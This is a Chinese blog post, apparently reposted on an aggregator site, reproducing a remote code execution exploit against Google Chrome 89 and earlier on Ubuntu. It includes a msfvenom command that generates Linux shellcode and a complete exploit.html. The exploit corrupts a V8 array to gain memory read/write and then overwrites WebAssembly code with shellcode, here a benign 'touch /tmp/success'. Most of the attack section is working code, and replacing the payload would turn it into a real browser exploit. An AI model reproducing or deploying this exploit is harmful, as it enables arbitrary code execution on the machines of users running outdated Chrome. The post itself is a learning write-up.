Linux 下复现 Google Chrome RCE

news2024/11/26 0:41:39

写在前面:网上大多都是windows下复现的,不过最近我在Linux中也遇到了低版本的chrome,想着这也是一个点,但是没想到技术不够,没搞出来,还是看大佬的文档慢慢学吧。。。

目录

一.环境搭建

1.1 环境信息

1.2 下载历史版本的google chrome

1.3 安装google chrome

二.漏洞复现过程

2.1 构造exp

2.2 执行exp

2.3 问题 


一.环境搭建

首先遇到最鸡肋的问题,chrome官网不提供历史版本的下载,我不好说为啥,那我们这些新手咋学习嘛!vulhub也没有写好docker镜像,不把饭喂到我嘴里我还真不会吃了------我现在学安全的状态。

存在问题的google Chrome的版本为:

  • Google Chrome < = 89.0.4389.114(正式版)

1.1 环境信息

这里我选用的是Ubuntu 18.04

查看方式: 

lsb_release -a

1.2 下载历史版本的google chrome

自己找了半天没找到,别人一找就找到了,我气啊!!

下载地址:Download older versions of Google Chrome for Windows, Linux and Mac

选一个90版本以下的

1.3 安装google chrome

下载得到deb

安装google chrome

#更新一下
apt-get update

#安装google chrome
dpkg -i google-chrome-stable_current_amd64.deb

#过程中少啥安啥就行,比如我的环境缺少xdg-utils
apt-get install xdg-utils

成功之后查看结果

google-chrome --version

二.漏洞复现过程

参考:chrome 0day rce 漏洞复现 - SAUCERMAN

参考文章的作者是在windows上复现的,shellcode是执行打开记事本的,那么我们在linux上复现的话就尝试在tmp目录下新建一个success文件吧,那么执行的命令为

touch /tmp/success

2.1 构造exp

遇到了最浪费时间的问题就是:如何使用msfvemon生成十六进制类型的shellcode。。。这是浪费我最多时间的问题了,另一个问题就是如何用命令行运行我构造的html,因为google-chrome总是会自动打开UI界面,要不然就报错。我太难了我!

使用msfvemon生成

运行命令

msfvenom -p linux/x64/exec CMD="touch /tmp/success" -f c -a x64

为了方便整成十六进制形式,直接输出成c的形式

"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
"\x66\x68\x2d\x63\x54\x5e\x52\xe8\x13\x00\x00\x00\x74\x6f\x75"
"\x63\x68\x20\x2f\x74\x6d\x70\x2f\x73\x75\x63\x63\x65\x73\x73"
"\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05";

#然后处理成exp中需要的十六进制形式
#我们使用记事本处理成十六进制形式即可:用 替换 即可
#把 \  替换成 ,0    
#把 "  替换成  (空)
#然后删除头尾即可。

然后生成exploit.html(其中shellcode就是我们上面生成的,换成相应的内容即可)

// exploit.html
<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode = [0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x99,0x50,0x54,0x5f,0x52
                    ,0x66,0x68,0x2d,0x63,0x54,0x5e,0x52,0xe8,0x13,0x00,0x00,0x00,0x74,0x6f,0x75
                    ,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x73,0x75,0x63,0x63,0x65,0x73,0x73
                    ,0x00,0x56,0x57,0x54,0x5e,0x6a,0x3b,0x58,0x0f,0x05];
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>

2.2 执行exp

使用google-chrome运行exploit.html

google-chrome --headless  --no-sandbox exploit.html

 然后我们查看tmp目录下是否生成了success文件

成功!!

2.3 问题 

那可能就有爱学习的同学们问啦,headless参数是干嘛的?

Stop!我也不知道,但是大佬告诉我这样就行了,你被管那么多,所以我查了查,总结一下就是:

加了这个参数就不用打开UI界面,因为我是服务器,没安装那些东西所以也没有UI界面,主要就是方便测试呗。

Ps:UI界面示例(就是浏览器)

 参考:Headless Chrome 入门 - 知乎


虽然最近写的文章都没什么技术含量,主要是因为自己掌握的真不多啊,有没有学云安全的大佬或者好兄弟们一起带带我啊,我虽然笨点,但是我想学啊!!

下篇还是回到kubernetes,以我自己的理解总结一下BadPods那些危险配置会导致什么后果,然后再下一篇就写一下污点和容忍度吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/86376.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GX Works3 跨网访问

需求背景 1&#xff0c;有N条产线。 2&#xff0c;每条产线是一个独立的局域网。类似于192.168.x.x 3&#xff0c;每条产线部署一台产线控制系统。采用双网卡。一张接车间网络&#xff1b;一张接产线自身的局域网。 现在的需求是&#xff1a; 需要读写任意一条产线的PLC(三…

强化学习学习资料

1、OpenAI建立的强化学习教育资源网站&#xff0c;可以让我们更轻松地学习深度强化学习。里面有很多有用的资源&#xff0c;包括&#xff1a; &#xff08;1&#xff09;强化学习基本术语、算法种类、基本理论的介绍。 &#xff08;2&#xff09;一篇关于如何成长为RL研究者的…

是一种非常的Cy类近红外荧光染料,1686147-55-6,ICG amine,本产品的ICG是临床中所使用的ICG染料的衍生物

ICG&#xff08;Indocyanine Green&#xff09;&#xff0c;是一种非常的Cy类近红外荧光染料&#xff0c;在临床中用于手术导航。ICG的体内药理学性质非常明确&#xff0c;具有良好的安全性&#xff0c;是常用近红外染料&#xff0c;被***运用于生物诊疗。ICG的荧光母核和Cy7.5…

Python中ArcPy基于矢量范围批量裁剪大量栅格遥感影像

本文介绍基于Python中ArcPy模块&#xff0c;基于矢量数据范围&#xff0c;对大量栅格遥感影像加以批量裁剪掩膜的方法。 本文所需要的代码如下所示。 # -*- coding: utf-8 -*- """ Created on Tue Dec 13 20:07:48 2022author: fkxxgis """impo…

31.前端笔记-CSS-CSS3盒子模型和其他特性

1、CSS3盒子模型 原来的CSS盒子设置了border和padding属性&#xff0c;就会撑大盒子。 现在CSS3中可以通过box-sizing来指定盒模型&#xff0c;有两个值&#xff1a; content-box&#xff1a;盒子大小是widthpaddingborderbordr-box:盒子大小就是width,padding和border不会撑…

【OpenFOAM】-olaFlow-算例2- breakwater

算例路径&#xff1a; olaFlow\tutorials\breakwater 算例描述&#xff1a; 波浪对防波堤的作用&#xff0c;堤身为孔隙可渗透结构&#xff0c;堤顶沉箱为不可渗透结构。 学习目标&#xff1a; 渗透模型、可渗结构设置、孔隙材料各项参数设置 算例快照&#xff1a; 图1 防波堤…

基于51单片机的四位数字频率计数码管显示设计

仿真原理图&#xff1a; 程序运行图&#xff1a; 部分程序&#xff1a; #include <reg52.h> #define uchar unsigned char #define uint unsigned int uchar duan[10]{0xc0,0Xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90}; //所需的段的位码 //uchar wei[…

企业数字化转型关键路径:构建数据驱动的管控体系

本案例以元年方舟企业数字化转型PaaS平台为某国际运动品牌&#xff0c;解决全渠道对账项目应用为例&#xff0c;通过建立全渠道对账系统研发&#xff0c;构建数据驱动的管控体系&#xff0c;帮助该零售企业实现数字化转型的突破。 关键词&#xff1a;企业数字化&#xff1b;新…

Transformer网络

Transformer网络可以利用数据之间的相关性&#xff0c;最近需要用到这一网络&#xff0c;在此做一些记录。 1、Transformer网络概述 Transformer网络最初被设计出来是为了自然语言处理、语言翻译任务&#xff0c;这里解释的也主要基于这一任务展开。 在 Transformer 出现之前…

99-127-spark-核心编程-持久化-分区-io-累加器-广播变量

99-spark-核心编程-持久化-分区-io&#xff1a; RDD持久化 1) RDD Cache 缓存 Spark02_RDD_Persist RDD 通过 Cache 或者 Persist 方法将前面的计算结果缓存&#xff0c;默认情况下会把数据以缓存在 JVM 的堆内存中。但是并不是这两个方法被调用时立即缓存&#xff0c;而是触…

OS_@假脱机技术@设备分配@设备映射

文章目录OS_假脱机技术设备分配设备映射设备分配的策略1)设备分配原则2)设备分配方式静态分配动态分配3)设备分配算法设备分配的安全性1)安全分配方式2)不安全分配方式逻辑设备名到物理设备名的映射两种方式设置逻辑设备表假脱机(Spooling)系统SPOOLing系统的组成SPOOLing的工作…

足球一代又一代得青春

世界杯由来 世界杯&#xff08;World Cup&#xff09;即国际足联世界杯&#xff0c;是世界上最高水平的足球赛事。 众所周知&#xff0c;现代足球起源于英国&#xff0c;随后风靡世界。由于足球运动的迅速发展&#xff0c;国际比赛也随之出现。1896年&#xff0c;第一届现代奥…

[附源码]计算机毕业设计的疫苗接种管理系统Springboot程序

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; Springboot mybatis MavenVue等等组成&#xff0c;B/S模式…

Educational Codeforces Round 139 (Rated for Div. 2) D. Lucky Chains

翻译&#xff1a; 让我们命名一对正整数(&#x1d465;&#xff0c;&#x1d466;)&#xff0c;幸运的是它们的最大公约数等于1 (gcd(&#x1d465;&#xff0c;&#x1d466;)1)。 让我们定义一个链(&#x1d465;&#x1d466;)引起的一系列双(&#x1d465;&#x1d466;)…

Vue中对获取数据、返回数据进行处理的wode总结

&#x1f4ad;&#x1f4ad; ✨&#xff1a;Vue中对获取数据、返回数据进行处理的总结   &#x1f49f;&#xff1a;东非不开森的主页   &#x1f49c;: 也许&#xff0c;不负光阴就是最好的努力&#xff0c;而努力就是最好的自己。&#x1f49c;&#x1f49c;   &#x1f3…

Mybatis:MyBatis的分页插件(11)

Mybaits笔记框架&#xff1a;https://blog.csdn.net/qq_43751200/article/details/128154837 Mybatis中文官方文档&#xff1a; https://mybatis.org/mybatis-3/zh/index.html 分页插件1. 分页插件使用步骤2. 分页插件的使用2.1: 开启分页功能2.2: 分页相关数据2.3: 常用数据1.…

在小公司干测试5年,如今终于熬出头了,入职美团涨薪14K

你的努力&#xff0c;终将成就无可替代的自己&#xff0c;本科毕业后就一直从事软件测试的工作&#xff0c;和多数人一样&#xff0c;最开始从事功能测试的工作&#xff0c;我朋友看着自己的同学一步一步往上走&#xff0c;自己还是在原地踏步&#xff0c;说实话这不是自己想要…

TongWeb7微服务适配方案

先介绍一下我们微服务项目的部署情况&#xff1a; 之前使用的是内置的Tomcat容器部署方式&#xff0c;运行项目使用的 java -jar 项目文件 方式&#xff0c;然后使用k8sdocker容器化部署。 还没了解TongWeb部署的同学们&#xff0c;可以看看我前面写的几个关于TongWeb本地部…

【有营养的算法笔记】巧解蛇形矩阵

&#x1f451;作者主页&#xff1a;进击的安度因 &#x1f3e0;学习社区&#xff1a;进击的安度因&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;有营养的算法笔记 ✉️分类专栏&#xff1a;题解 文章目录一、题目描述二、思路讲解三、代码实现一、题目描…

DevExpress ASP.NET and Blazor图表编制

DevExpress ASP.NET and Blazor图表编制 .NET 6现在是受支持的最低框架版本-此版本需要.NET 6和Microsoft Visual Studio 2022(v17.0)或更高版本。 图表编制 范围条形图-最小条形图大小-您现在可以使用新的minBarSize属性为范围条形图中显示的条形图指定最小大小。 数据可视化组…